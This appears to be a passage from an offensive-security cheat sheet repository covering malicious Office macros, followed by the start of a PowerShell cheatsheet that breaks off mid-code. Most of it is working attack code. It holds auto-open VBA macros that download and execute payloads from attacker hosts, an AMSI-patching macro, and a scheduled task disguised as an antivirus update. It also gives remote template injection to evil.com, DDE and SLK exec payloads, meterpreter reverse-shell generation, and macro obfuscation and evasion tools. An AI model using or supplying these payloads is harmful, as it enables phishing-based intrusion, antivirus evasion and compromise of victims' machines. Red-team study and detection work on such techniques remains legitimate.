||||
|
||||
## DOCM - Download and Execute
|
||||
|
||||
> Detected by Defender (AMSI)
|
||||
|
||||
```ps1
|
||||
Sub Execute()
|
||||
Dim payload
|
||||
payload = "powershell.exe -nop -w hidden -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$v=new-object net.webclient;$v.proxy=[Net.WebRequest]::GetSystemWebProxy();$v.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $v.downloadstring('http://10.10.10.10:4242/exploit');"
|
||||
Call Shell(payload, vbHide)
|
||||
End Sub
|
||||
Sub Document_Open()
|
||||
Execute
|
||||
End Sub
|
||||
```
|
||||
|
||||
## DOCM - Macro Creator
|
||||
|
||||
* https://github.com/Arno0x/PowerShellScripts/tree/master/MacroCreator
|
||||
|
||||
```ps1
|
||||
# Shellcode embedded in the body of the MS-Word document, no obfuscation, no sandbox evasion:
|
||||
C:\PS> Invoke-MacroCreator -i meterpreter_shellcode.raw -t shellcode -d body
|
||||
# Shellcode delivered over WebDAV covert channel, with obfuscation, no sandbox evasion:
|
||||
C:\PS> Invoke-MacroCreator -i meterpreter_shellcode.raw -t shellcode -url webdavserver.com -d webdav -o
|
||||
# Scriptlet delivered over bibliography source covert channel, with obfuscation, with sandbox evasion:
|
||||
C:\PS> Invoke-MacroCreator -i regsvr32.sct -t file -url 'http://my.server.com/sources.xml' -d biblio -c 'regsvr32 /u /n /s /i:regsvr32.sct scrobj.dll' -o -e
|
||||
```
|
||||
|
||||
## DOCM - C# converted to Office VBA macro
|
||||
|
||||
> A message will prompt to the user saying that the file is corrupt and automatically close the excel document. THIS IS NORMAL BEHAVIOR! This is tricking the victim to thinking the excel document is corrupted.
|
||||
|
||||
https://github.com/trustedsec/unicorn
|
||||
|
||||
```ps1
|
||||
python unicorn.py payload.cs cs macro
|
||||
```
|
||||
|
||||
## DOCM - VBA Wscript
|
||||
|
||||
> https://www.darkoperator.com/blog/2017/11/11/windows-defender-exploit-guard-asr-rules-for-office
|
||||
|
||||
```ps1
|
||||
Sub parent_change()
|
||||
Dim objOL
|
||||
Set objOL = CreateObject("Outlook.Application")
|
||||
Set shellObj = objOL.CreateObject("Wscript.Shell")
|
||||
shellObj.Run("notepad.exe")
|
||||
End Sub
|
||||
Sub AutoOpen()
|
||||
parent_change
|
||||
End Sub
|
||||
Sub Auto_Open()
|
||||
parent_change
|
||||
End Sub
|
||||
```
|
||||
|
||||
```vb
|
||||
CreateObject("WScript.Shell").Run "calc.exe"
|
||||
CreateObject("WScript.Shell").Exec "notepad.exe"
|
||||
```
|
||||
|
||||
|
||||
## DOCM - VBA Shell Execute Comment
|
||||
|
||||
Set your command payload inside the **Comment** metadata of the document.
|
||||
|
||||
```vb
|
||||
Sub beautifulcomment()
|
||||
Dim p As DocumentProperty
|
||||
For Each p In ActiveDocument.BuiltInDocumentProperties
|
||||
If p.Name = "Comments" Then
|
||||
Shell (p.Value)
|
||||
End If
|
||||
Next
|
||||
End Sub
|
||||
|
||||
Sub AutoExec()
|
||||
beautifulcomment
|
||||
End Sub
|
||||
|
||||
Sub AutoOpen()
|
||||
beautifulcomment
|
||||
End Sub
|
||||
```
|
||||
|
||||
|
||||
## DOCM - VBA Spawning via svchost.exe using Scheduled Task
|
||||
|
||||
```ps1
|
||||
Sub AutoOpen()
|
||||
Set service = CreateObject("Schedule.Service")
|
||||
Call service.Connect
|
||||
Dim td: Set td = service.NewTask(0)
|
||||
td.RegistrationInfo.Author = "Kaspersky Corporation"
|
||||
td.settings.StartWhenAvailable = True
|
||||
td.settings.Hidden = False
|
||||
Dim triggers: Set triggers = td.triggers
|
||||
Dim trigger: Set trigger = triggers.Create(1)
|
||||
Dim startTime: ts = DateAdd("s", 30, Now)
|
||||
startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2)
|
||||
trigger.StartBoundary = startTime
|
||||
trigger.ID = "TimeTriggerId"
|
||||
Dim Action: Set Action = td.Actions.Create(0)
|
||||
Action.Path = "C:\Windows\System32\powershell.exe"
|
||||
Action.Arguments = "-nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.1.59:80/fezsdfqs'))"
|
||||
Call service.GetFolder("\").RegisterTaskDefinition("AVUpdateTask", td, 6, , , 3)
|
||||
End Sub
|
||||
Rem powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.59:80/fezsdfqs'))"
|
||||
```
|
||||
|
||||
## DOCM - WMI COM functions
|
||||
|
||||
Basic WMI exec (detected by Defender) : `r = GetObject("winmgmts:\\.\root\cimv2:Win32_Process").Create("calc.exe", null, null, intProcessID)`
|
||||
|
||||
```ps1
|
||||
Sub wmi_exec()
|
||||
strComputer = "."
|
||||
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
|
||||
Set objStartUp = objWMIService.Get("Win32_ProcessStartup")
|
||||
Set objProc = objWMIService.Get("Win32_Process")
|
||||
Set procStartConfig = objStartUp.SpawnInstance_
|
||||
procStartConfig.ShowWindow = 1
|
||||
objProc.Create "powershell.exe", Null, procStartConfig, intProcessID
|
||||
End Sub
|
||||
```
|
||||
|
||||
* https://gist.github.com/infosecn1nja/24a733c5b3f0e5a8b6f0ca2cf75967e3
|
||||
* https://labs.inquest.net/dfi/sha256/f4266788d4d1bec6aac502ddab4f7088a9840c84007efd90c5be7ecaec0ed0c2
|
||||
|
||||
```ps1
|
||||
Sub ASR_bypass_create_child_process_rule5()
|
||||
Const HIDDEN_WINDOW = 0
|
||||
strComputer = "."
|
||||
Set objWMIService = GetObject("win" & "mgmts" & ":\\" & strComputer & "\root" & "\cimv2")
|
||||
Set objStartup = objWMIService.Get("Win32_" & "Process" & "Startup")
|
||||
Set objConfig = objStartup.SpawnInstance_
|
||||
objConfig.ShowWindow = HIDDEN_WINDOW
|
||||
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root" & "\cimv2" & ":Win32_" & "Process")
|
||||
objProcess.Create "cmd.exe /c powershell.exe IEX ( IWR -uri 'http://10.10.10.10/stage.ps1')", Null, objConfig, intProcessID
|
||||
End Sub
|
||||
|
||||
Sub AutoExec()
|
||||
ASR_bypass_create_child_process_rule5
|
||||
End Sub
|
||||
|
||||
Sub AutoOpen()
|
||||
ASR_bypass_create_child_process_rule5
|
||||
End Sub
|
||||
```
|
||||
|
||||
```ps1
|
||||
Const ShellWindows = "{9BA05972-F6A8-11CF-A442-00A0C90A8F39}"
|
||||
Set SW = GetObject("new:" & ShellWindows).Item()
|
||||
SW.Document.Application.ShellExecute "cmd.exe", "/c powershell.exe", "C:\Windows\System32", Null, 0
|
||||
```
|
||||
|
||||
## DOCM/XLM - Macro Pack - Macro and DDE
|
||||
|
||||
> Only the community version is available online.
|
||||
|
||||
* [https://github.com/sevagas/macro_pack](https://github.com/sevagas/macro_pack/releases/download/v2.0.1/macro_pack.exe)
|
||||
|
||||
```powershell
|
||||
# Options
|
||||
-G, --generate=OUTPUT_FILE_PATH. Generates a file.
|
||||
-t, --template=TEMPLATE_NAME Use code template already included in MacroPack
|
||||
-o, --obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name)
|
||||
|
||||
# Execute a command
|
||||
echo "calc.exe" | macro_pack.exe -t CMD -G cmd.xsl
|
||||
|
||||
# Download and execute a file
|
||||
echo <file_to_drop_url> "<download_path>" | macro_pack.exe -t DROPPER -o -G dropper.xls
|
||||
|
||||
# Meterpreter reverse TCP template using MacroMeter by Cn33liz
|
||||
echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.docm
|
||||
|
||||
# Drop and execute embedded file
|
||||
macro_pack.exe -t EMBED_EXE --embed=c:\windows\system32\calc.exe -o -G my_calc.vbs
|
||||
|
||||
# Obfuscate the vba file generated by msfvenom and put result in a new vba file.
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
|
||||
|
||||
# Obfuscate Empire stager vba file and generate a MS Word document:
|
||||
macro_pack.exe -f empire.vba -o -G myDoc.docm
|
||||
|
||||
# Generate an MS Excel file containing an obfuscated dropper (download payload.exe and store as dropped.exe)
|
||||
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
|
||||
|
||||
# Execute calc.exe via Dynamic Data Exchange (DDE) attack
|
||||
echo calc.exe | macro_pack.exe --dde -G calc.xslx
|
||||
|
||||
# Download and execute file via powershell using Dynamic Data Exchange (DDE) attack
|
||||
macro_pack.exe --dde -f ..\resources\community\ps_dl_exec.cmd -G DDE.xsl
|
||||
|
||||
# PRO: Generate a Word file containing VBA self encoded x64 reverse meterpreter VBA payload (will bypass most AV).
|
||||
msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o --autopack --keep-alive -G out.docm
|
||||
|
||||
# PRO: Trojan a PowerPoint file with a reverse meterpreter. Macro is obfuscated and mangled to bypass AMSI and most antiviruses.
|
||||
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o --autopack --trojan -G hotpics.pptm
|
||||
|
||||
# PRO: Generate an HTA payload able to run a shellcode via Excel injection
|
||||
echo meterx86.bin meterx64.bin | macro_pack.exe -t AUTOSHELLCODE --run-in-excel -o -G samples\nicepic.hta
|
||||
echo meterx86.bin meterx64.bin | macro_pack.exe -t AUTOSHELLCODE -o --hta-macro --run-in-excel -G samples\my_shortcut.lnk
|
||||
|
||||
# PRO: XLM Injection
|
||||
echo "MPPro" | macro_pack.exe -G _samples\hello.doc -t HELLO --xlm --run-in-excel
|
||||
|
||||
# PRO: ShellCode Exec - Heap Injection, AlternativeInjection
|
||||
echo "x32calc.bin" | macro_pack.exe -t SHELLCODE -o --shellcodemethod=HeapInjection -G test.doc
|
||||
echo "x32calc.bin" | macro_pack.exe -t SHELLCODE -o --shellcodemethod=AlternativeInjection --background -G test.doc
|
||||
|
||||
# PRO: More shellcodes
|
||||
echo x86.bin | macro_pack.exe -t SHELLCODE -o -G test.pptm –keep-alive
|
||||
echo "x86.bin" "x64.bin" | macro_pack.exe -t AUTOSHELLCODE -o –autopack -G sc_auto.doc
|
||||
echo "http://192.168.5.10:8080/x32calc.bin" "http://192.168.5.10:8080/x64calc.bin" | macro_pack.exe -t DROPPER_SHELLCODE -o --shellcodemethod=ClassicIndirect -G samples\sc_dl.xls
|
||||
```
|
||||
|
||||
## DOCM - BadAssMacros
|
||||
|
||||
> C# based automated Malicous Macro Generator.
|
||||
|
||||
* https://github.com/Inf0secRabbit/BadAssMacros
|
||||
|
||||
```powershell
|
||||
BadAssMacros.exe -h
|
||||
|
||||
# Create VBA for classic shellcode injection from raw shellcode
|
||||
BadAssMacros.exe -i <path_to_raw_shellcode_file> -w <doc/excel> -p no -s classic -c <caesar_shift_value> -o <path_to_output_file>
|
||||
BadAssMacros.exe -i .\Desktop\payload.bin -w doc -p no -s classic -c 23 -o .\Desktop\output.txt
|
||||
|
||||
# Create VBA for indirect shellcode injection from raw shellcode
|
||||
BadAssMacros.exe -i <path_to_raw_shellcode_file> -w <doc/excel> -p no -s indirect -o <path_to_output_file>
|
||||
|
||||
# List modules inside Doc/Excel file
|
||||
BadAssMacros.exe -i <path_to_doc/excel_file> -w <doc/excel> -p yes -l
|
||||
|
||||
# Purge Doc/Excel file
|
||||
BadAssMacros.exe -i <path_to_doc/excel_file> -w <doc/excel> -p yes -o <path_to_output_file> -m <module_name>
|
||||
```
|
||||
|
||||
|
||||
## DOCM - CACTUSTORCH VBA Module
|
||||
|
||||
> CactusTorch is leveraging the DotNetToJscript technique to load a .Net compiled binary into memory and execute it from vbscript
|
||||
|
||||
* https://github.com/mdsecactivebreach/CACTUSTORCH
|
||||
* https://github.com/tyranid/DotNetToJScript/
|
||||
* CACTUSTORCH - DotNetToJScript all the things - https://youtu.be/YiaKb8nHFSY
|
||||
* CACTUSTORCH - CobaltStrike Aggressor Script Addon - https://www.youtube.com/watch?v=_pwH6a-6yAQ
|
||||
|
||||
1. Import **.cna** in Cobalt Strike
|
||||
2. Generate a new VBA payload from the CACTUSTORCH menu
|
||||
3. Download DotNetToJscript
|
||||
4. Compile it
|
||||
* **DotNetToJscript.exe** - responsible for bootstrapping C# binaries (supplied as input) and converting them to JavaScript or VBScript
|
||||
* **ExampleAssembly.dll** - the C# assembly that will be given to DotNetToJscript.exe. In default project configuration, the assembly just pops a message box with the text "test"
|
||||
5. Execute **DotNetToJscript.exe** and supply it with the ExampleAssembly.dll, specify the output file and the output type
|
||||
```ps1
|
||||
DotNetToJScript.exeExampleAssembly.dll -l vba -o test.vba -c cactusTorch
|
||||
```
|
||||
6. Use the generated code to replace the hardcoded binary in CactusTorch
|
||||
|
||||
|
||||
## DOCM - MMG with Custom DL + Exec
|
||||
|
||||
1. Custom Download in first Macro to "C:\\Users\\Public\\beacon.exe"
|
||||
2. Create a custom binary execute using MMG
|
||||
3. Merge both Macro
|
||||
|
||||
```ps1
|
||||
git clone https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator
|
||||
python MMG.py configs/generic-cmd.json malicious.vba
|
||||
{
|
||||
"description": "Generic command exec payload\nEvasion technique set to none",
|
||||
"template": "templates/payloads/generic-cmd-template.vba",
|
||||
"varcount": 152,
|
||||
"encodingoffset": 5,
|
||||
"chunksize": 180,
|
||||
"encodedvars": {},
|
||||
"vars": [],
|
||||
"evasion": ["encoder"],
|
||||
"payload": "cmd.exe /c C:\\Users\\Public\\beacon.exe"
|
||||
}
|
||||
```
|
||||
|
||||
```vb
|
||||
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
|
||||
|
||||
Public Function DownloadFileA(ByVal URL As String, ByVal DownloadPath As String) As Boolean
|
||||
On Error GoTo Failed
|
||||
DownloadFileA = False
|
||||
'As directory must exist, this is a check
|
||||
If CreateObject("Scripting.FileSystemObject").FolderExists(CreateObject("Scripting.FileSystemObject").GetParentFolderName(DownloadPath)) = False Then Exit Function
|
||||
Dim returnValue As Long
|
||||
returnValue = URLDownloadToFile(0, URL, DownloadPath, 0, 0)
|
||||
'If return value is 0 and the file exist, then it is considered as downloaded correctly
|
||||
DownloadFileA = (returnValue = 0) And (Len(Dir(DownloadPath)) > 0)
|
||||
Exit Function
|
||||
|
||||
Failed:
|
||||
End Function
|
||||
|
||||
Sub AutoOpen()
|
||||
DownloadFileA "http://10.10.10.10/macro.exe", "C:\\Users\\Public\\beacon.exe"
|
||||
End Sub
|
||||
|
||||
|
||||
Sub Auto_Open()
|
||||
DownloadFileA "http://10.10.10.10/macro.exe", "C:\\Users\\Public\\beacon.exe"
|
||||
End Sub
|
||||
```
|
||||
|
||||
## DOCM - ActiveX-based (InkPicture control, Painted event) Autorun macro
|
||||
|
||||
Go to **Developer tab** on ribbon `-> Insert -> More Controls -> Microsoft InkPicture Control`
|
||||
|
||||
```vb
|
||||
Private Sub InkPicture1_Painted(ByVal hDC As Long, ByVal Rect As MSINKAUTLib.IInkRectangle)
|
||||
Run = Shell("cmd.exe /c PowerShell (New-Object System.Net.WebClient).DownloadFile('https://<host>/file.exe','file.exe');Start-Process 'file.exe'", vbNormalFocus)
|
||||
End Sub
|
||||
```
|
||||
|
||||
|
||||
|
||||
## VBA Obfuscation
|
||||
|
||||
```ps1
|
||||
# https://www.youtube.com/watch?v=L0DlPOLx2k0
|
||||
$ git clone https://github.com/bonnetn/vba-obfuscator
|
||||
$ cat example_macro/download_payload.vba | docker run -i --rm bonnetn/vba-obfuscator /dev/stdin
|
||||
```
|
||||
|
||||
## VBA Purging
|
||||
|
||||
**VBA Stomping**: This technique allows attackers to remove compressed VBA code from Office documents and still execute malicious macros without many of the VBA keywords that AV engines had come to rely on for detection. == Removes P-code.
|
||||
|
||||
:warning: VBA stomping is not effective against Excel 97-2003 Workbook (.xls) format.
|
||||
|
||||
### OfficePurge
|
||||
* https://github.com/fireeye/OfficePurge/releases/download/v1.0/OfficePurge.exe
|
||||
|
||||
```powershell
|
||||
OfficePurge.exe -d word -f .\malicious.doc -m NewMacros
|
||||
OfficePurge.exe -d excel -f .\payroll.xls -m Module1
|
||||
OfficePurge.exe -d publisher -f .\donuts.pub -m ThisDocument
|
||||
OfficePurge.exe -d word -f .\malicious.doc -l
|
||||
```
|
||||
|
||||
|
||||
### EvilClippy
|
||||
|
||||
> Evil Clippy uses the OpenMCDF library to manipulate CFBF files.
|
||||
> Evil Clippy compiles perfectly fine with the Mono C# compiler and has been tested on Linux, OSX and Windows.
|
||||
> If you want to manipulate CFBF files manually, then FlexHEX is one of the best editors for this.
|
||||
|
||||
```ps1
|
||||
# OSX/Linux
|
||||
mcs /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs
|
||||
# Windows
|
||||
csc /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs
|
||||
|
||||
EvilClippy.exe -s fake.vbs -g -r cobaltstrike.doc
|
||||
EvilClippy.exe -s fakecode.vba -t 2016x86 macrofile.doc
|
||||
EvilClippy.exe -s fakecode.vba -t 2013x64 macrofile.doc
|
||||
|
||||
# make macro code unaccessible is to mark the project as locked and unviewable: -u
|
||||
# Evil Clippy can confuse pcodedmp and many other analysis tools with the -r flag.
|
||||
EvilClippy.exe -r macrofile.doc
|
||||
```
|
||||
|
||||
|
||||
## VBA - Offensive Security Template
|
||||
|
||||
* Reverse Shell VBA - https://github.com/JohnWoodman/VBA-Macro-Reverse-Shell/blob/main/VBA-Reverse-Shell.vba
|
||||
* Process Dumper - https://github.com/JohnWoodman/VBA-Macro-Dump-Process
|
||||
* RunPE - https://github.com/itm4n/VBA-RunPE
|
||||
* Spoof Parent - https://github.com/py7hagoras/OfficeMacro64
|
||||
* AMSI Bypass - https://github.com/outflanknl/Scripts/blob/master/AMSIbypasses.vba
|
||||
* amsiByPassWithRTLMoveMemory - https://gist.github.com/DanShaqFu/1c57c02660b2980d4816d14379c2c4f3
|
||||
* VBA macro spawning a process with a spoofed parent - https://github.com/christophetd/spoofing-office-macro/blob/master/macro64.vba
|
||||
|
||||
## VBA - AMSI
|
||||
|
||||
> The Office VBA integration with AMSI is made up of three parts: (a) logging macro behavior, (b) triggering a scan on suspicious behavior, and (c) stopping a malicious macro upon detection. https://www.microsoft.com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/
|
||||
|
||||
|
||||

|
||||
|
||||
:warning: It appears that p-code based attacks where the VBA code is stomped will still be picked up by the AMSI engine (e.g. files manipulated by our tool EvilClippy).
|
||||
|
||||
The AMSI engine only hooks into VBA, we can bypass it by using Excel 4.0 Macro
|
||||
|
||||
* AMSI Trigger - https://github.com/synacktiv/AMSI-Bypass
|
||||
|
||||
```vb
|
||||
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
|
||||
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
|
||||
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
|
||||
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As LongPtr)
|
||||
|
||||
Private Sub Document_Open()
|
||||
Dim AmsiDLL As LongPtr
|
||||
Dim AmsiScanBufferAddr As LongPtr
|
||||
Dim result As Long
|
||||
Dim MyByteArray(6) As Byte
|
||||
Dim ArrayPointer As LongPtr
|
||||
|
||||
MyByteArray(0) = 184 ' 0xB8
|
||||
MyByteArray(1) = 87 ' 0x57
|
||||
MyByteArray(2) = 0 ' 0x00
|
||||
MyByteArray(3) = 7 ' 0x07
|
||||
MyByteArray(4) = 128 ' 0x80
|
||||
MyByteArray(5) = 195 ' 0xC3
|
||||
|
||||
AmsiDLL = LoadLibrary("amsi.dll")
|
||||
AmsiScanBufferAddr = GetProcAddress(AmsiDLL, "AmsiScanBuffer")
|
||||
result = VirtualProtect(ByVal AmsiScanBufferAddr, 5, 64, 0)
|
||||
ArrayPointer = VarPtr(MyByteArray(0))
|
||||
CopyMemory ByVal AmsiScanBufferAddr, ByVal ArrayPointer, 6
|
||||
|
||||
End Sub
|
||||
```
|
||||
|
||||
## DOCX - Template Injection
|
||||
|
||||
:warning: Does not require "Enable Macro"
|
||||
|
||||
### Remote Template
|
||||
|
||||
1. A malicious macro is saved in a Word template .dotm file
|
||||
2. Benign .docx file is created based on one of the default MS Word Document templates
|
||||
3. Document from step 2 is saved as .docx
|
||||
4. Document from step 3 is renamed to .zip
|
||||
5. Document from step 4 gets unzipped
|
||||
6. **.\word_rels\settings.xml.rels** contains a reference to the template file. That reference gets replaced with a reference to our malicious macro created in step 1. File can be hosted on a web server (http) or webdav (smb).
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="file:///C:\Users\mantvydas\AppData\Roaming\Microsoft\Templates\Polished%20resume,%20designed%20by%20MOO.dotx" TargetMode="External"/></Relationships>
|
||||
```
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
|
||||
Target="https://evil.com/malicious.dotm" TargetMode="External"/></Relationships>
|
||||
```
|
||||
7. File gets zipped back up again and renamed to .docx
|
||||
|
||||
### Template Injections Tools
|
||||
|
||||
* https://github.com/JohnWoodman/remoteInjector
|
||||
* https://github.com/ryhanson/phishery
|
||||
|
||||
```ps1
|
||||
$ phishery -u https://secure.site.local/docs -i good.docx -o bad.docx
|
||||
[+] Opening Word document: good.docx
|
||||
[+] Setting Word document template to: https://secure.site.local/docs
|
||||
[+] Saving injected Word document to: bad.docx
|
||||
[*] Injected Word document has been saved!
|
||||
```
|
||||
|
||||
|
||||
## DOCX - DDE
|
||||
|
||||
* Insert > QuickPart > Field
|
||||
* Right Click > Toggle Field Code
|
||||
* `{ DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" }`
|
||||
|
||||
## SLK - Excel
|
||||
|
||||
```ps1
|
||||
ID;P
|
||||
O;E
|
||||
NN;NAuto_open;ER101C1;KOut Flank;F
|
||||
C;X1;Y101;K0;EEXEC("c:\shell.cmd")
|
||||
C;X1;Y102;K0;EHALT()
|
||||
E
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
* [VBA RunPE Part 1 - itm4n](https://itm4n.github.io/vba-runpe-part1/)
|
||||
* [VBA RunPE Part 2 - itm4n](https://itm4n.github.io/vba-runpe-part2/)
|
||||
* [Office VBA AMSI Parting the veil on malicious macros - Microsoft](https://www.microsoft.com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/)
|
||||
* [Bypassing AMSI fro VBA - Outflank](https://outflank.nl/blog/2019/04/17/bypassing-amsi-for-vba/)
|
||||
* [Evil Clippy MS Office Maldoc Assistant - Outflank](https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/)
|
||||
* [Old schoold evil execl 4.0 macros XLM - Outflank](https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/)
|
||||
* [Excel 4 Macro Generator x86/x64 - bytecod3r](https://bytecod3r.io/excel-4-macro-generator-x86-x64/)
|
||||
* [VBad - Pepitoh](https://github.com/Pepitoh/VBad)
|
||||
* [Excel 4.0 Macro Function Reference PDF](https://d13ot9o61jdzpp.cloudfront.net/files/Excel%204.0%20Macro%20Functions%20Reference.pdf)
|
||||
* [Excel 4.0 Macros so hot right now - SneekyMonkey](https://www.sneakymonkey.net/2020/06/22/excel-4-0-macros-so-hot-right-now/)
|
||||
* [Macros and more with sharpshooter v2.0 - mdsec](https://www.mdsec.co.uk/2019/02/macros-and-more-with-sharpshooter-v2-0/)
|
||||
* [Further evasion in the forgotten corners of ms xls - malware.pizza](https://malware.pizza/2020/06/19/further-evasion-in-the-forgotten-corners-of-ms-xls/)
|
||||
* [Excel 4.0 macro old but new - fsx30](https://medium.com/@fsx30/excel-4-0-macro-old-but-new-967071106be9)
|
||||
* [XLS 4.0 macros and covenant - d-sec](https://d-sec.net/2020/10/24/xls-4-0-macros-and-covenant/)
|
||||
* [Inject macro from a remote dotm template - ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros)
|
||||
* [Phishinh with OLE - ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-ole-+-lnk)
|
||||
* [Phishing SLK - ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-.slk-excel)bypassing-malicious-macro-detections-by-defeating-child-parent-process-relationships)
|
||||
* [PropertyBomb an old new technique for arbitrary code execution in vba macro - Leon Berlin - 22 May 2018](https://www.bitdam.com/2018/05/22/propertybomb-an-old-new-technique-for-arbitrary-code-execution-in-vba-macro/)
|
||||
* [AMSI in the heap - rmdavy](https://secureyourit.co.uk/wp/2020/04/17/amsi-in-the-heap/)
|
||||
* [WordAMSIBypass - rmdavy](https://github.com/rmdavy/WordAmsiBypass)
|
||||
* [Dechaining macros and evading EDR - Noora Hyvärinen](https://blog.f-secure.com/dechaining-macros-and-evading-edr/)
|
||||
* [Executing macros from docx with remote - RedXORBlueJuly 18, 2018](http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html)
|
||||
* [One thousand and one ways to copy your shellcode to memory (VBA Macros) - X-C3LL - Feb 18, 2021](https://adepts.of0x.cc/alternatives-copy-shellcode/)
|
||||
* [Running macros via ActiveX controls - greyhathacker - September 29, 2016](http://www.greyhathacker.net/?p=948)
|
||||
* [Anti-Analysis Techniques Used in Excel 4.0 Macros - 24 March 2021 - @Jacob_Pimental](https://www.goggleheadedhacker.com/blog/post/23)
|
||||
110
Methodology and Resources/Powershell - Cheatsheet.md
Normal file
@@ -0,0 +1,110 @@
|
||||
# Powershell
|
||||
|
||||
## Summary
|
||||
|
||||
* Execution Policy
|
||||
* Encoded Commands
|
||||
* Download file
|
||||
* Load Powershell scripts
|
||||
* Load C# assembly reflectively
|
||||
* Secure String to Plaintext
|
||||
* References
|
||||
|
||||
## Execution Policy
|
||||
|
||||
```ps1
|
||||
powershell -EncodedCommand $encodedCommand
|
||||
powershell -ep bypass ./PowerView.ps1
|
||||
|
||||
# Change execution policy
|
||||
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
|
||||
Set-ExecutionPolicy Bypass -Scope Process
|
||||
```
|
||||
|
||||
## Constrained Mode
|
||||
|
||||
```ps1
|
||||
# Check if we are in a constrained mode
|
||||
# Values could be: FullLanguage or ConstrainedLanguage
|
||||
$ExecutionContext.SessionState.LanguageMode
|
||||
|
||||
## Bypass
|
||||
powershell -version 2
|
||||
```
|
||||
|
||||
## Encoded Commands
|
||||
|
||||
* Windows
|
||||
```ps1
|
||||
$command = 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")'
|
||||
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
|
||||
$encodedCommand = [Convert]::ToBase64String($bytes)
|
||||
```
|
||||
* Linux: :warning: UTF-16LE encoding is required
|
||||
```ps1
|
||||
echo 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")' | iconv -t utf-16le | base64 -w 0
|
||||
```
|
||||
|
||||
## Download file
|
||||
|
||||
```ps1
|
||||
# Any version
|
||||
(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerView.ps1", "C:\Windows\Temp\PowerView.ps1")
|
||||
wget "http://10.10.10.10/taskkill.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
|
||||
Import-Module BitsTransfer; Start-BitsTransfer -Source $url -Destination $output
|
||||
|
||||
# Powershell 4+
|
||||
IWR "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
|
||||
Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
|
||||
```
|
||||
|
||||
## Load Powershell scripts
|
||||
|
||||
```ps1
|
||||
# Proxy-aware
|
||||
IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1')
|
||||
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1') | powershell -noprofile -
|
||||
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.10.10.10/PowerView.ps1')|iex"
|
||||
|
||||
# Non-proxy aware
|
||||
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.10.10/PowerView.ps1',$false);$h.send();iex $h.responseText
|
||||
```
|
||||
|
||||
## Load C# assembly reflectively
|
||||
|
||||
```powershell
|
||||
# Download and run assembly without arguments
|
||||
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/rev.exe')
|
||||
